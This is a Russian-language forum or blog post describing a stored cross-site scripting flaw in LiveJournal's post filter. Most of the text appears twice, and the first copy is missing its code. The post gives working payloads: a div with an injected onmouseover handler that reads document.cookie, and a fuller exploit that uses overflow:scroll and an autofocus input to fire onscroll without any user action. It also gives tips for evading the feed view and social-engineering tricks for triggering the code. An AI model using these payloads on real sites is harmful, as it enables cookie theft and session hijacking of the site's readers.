Разбирая исходники фильтра постов в ЖЖ (вот они, кстати), нашел полновесную активную XSS.
Пишется пост, содержащий такой код:
После публикации этот div превращается в гораздо более занятный:
Есть некоторые легкие неудобства, но жизнь они не портят :
* Символы < и > таки фильтруются, поэтому новые теги надо создавать кодом.
* При просмотре ЖЖ в режиме ленты ваш инжект станет простым текстом подозрительного содержания. Не беда. Заключим его во внешний "lj-cut" (это местный ЖЖшный тег).
* Самый очевидный способ запустить код в этом контексте - добавить обработчик событий. К сожалению у DIV-а с этим не густо, но кое-что найдется:
Обратите,кстати внимание, что в примере тем же методом инжектится и нефильтрованный css, тоже полезно.
Сплоит в действии можно посмотреть у мене в ЖЖ
Самое смешное в этом баге, что, судя по датам изменения исходников, он существует минимум 7 лет и принадлежит перу самого основателя, Брэда Фитцпатрика. :huh1: Поэтому 0-day его называть как-то странно. Но вроде в паблике ничего такого не было.
Пишется пост, содержащий такой код:
Код:
<div class="ljcut" text="Read more"onmouseover=alert(document.cookie) x="">
....
</div>
После публикации этот div превращается в гораздо более занятный:
Код:
<div class="ljcut" text="Read more" onmouseover=alert(document.cookie) x="">
...
</div>
Есть некоторые легкие неудобства, но жизнь они не портят :
* Символы < и > таки фильтруются, поэтому новые теги надо создавать кодом.
* При просмотре ЖЖ в режиме ленты ваш инжект станет простым текстом подозрительного содержания. Не беда. Заключим его во внешний "lj-cut" (это местный ЖЖшный тег).
* Самый очевидный способ запустить код в этом контексте - добавить обработчик событий. К сожалению у DIV-а с этим не густо, но кое-что найдется:
- onmousemove - если div достаточно большой, то рано или поздно курсор окажется и над ним. А можно пойди по пути социальной инженерии: добавить пару абзацев черным по черному - типа споилеры. mousemove польются рекой :P
- onscroll - этот обработчик можно даже вызвать без каких-то действий пользователя. Добавим overflow:scroll и сделаем,чтоб текст в div полностью не влезал. Потом в самый конец добавим какой-нибудь элемент с атрибутом autofocus. Это вызовет автоматом скроллинг - и запустит наш обработчик. :yahoo:
Код:
<lj-cut>
<div style="font-size:1px;color:transparent;">
<div class="ljcut" text="" style="height:480px;color:transparent;overflow:scroll" onscroll="alert(document.domain+':'+document.cookie),this.onscroll=null" x=""><div style="color:black;font-family:monospace;font-size:12px;line-height:120%;height:110%">
.... дофига текста....
<form><span style="font-size:20px;font-family:monospace;color:black">©Добрые Гномы</span><input style="width:1px;font-size:1px;border:none" autofocus="autofocus"></form>
</div>
</div>
</lj-cut>
Обратите,кстати внимание, что в примере тем же методом инжектится и нефильтрованный css, тоже полезно.
Сплоит в действии можно посмотреть у мене в ЖЖ
Самое смешное в этом баге, что, судя по датам изменения исходников, он существует минимум 7 лет и принадлежит перу самого основателя, Брэда Фитцпатрика. :huh1: Поэтому 0-day его называть как-то странно. Но вроде в паблике ничего такого не было.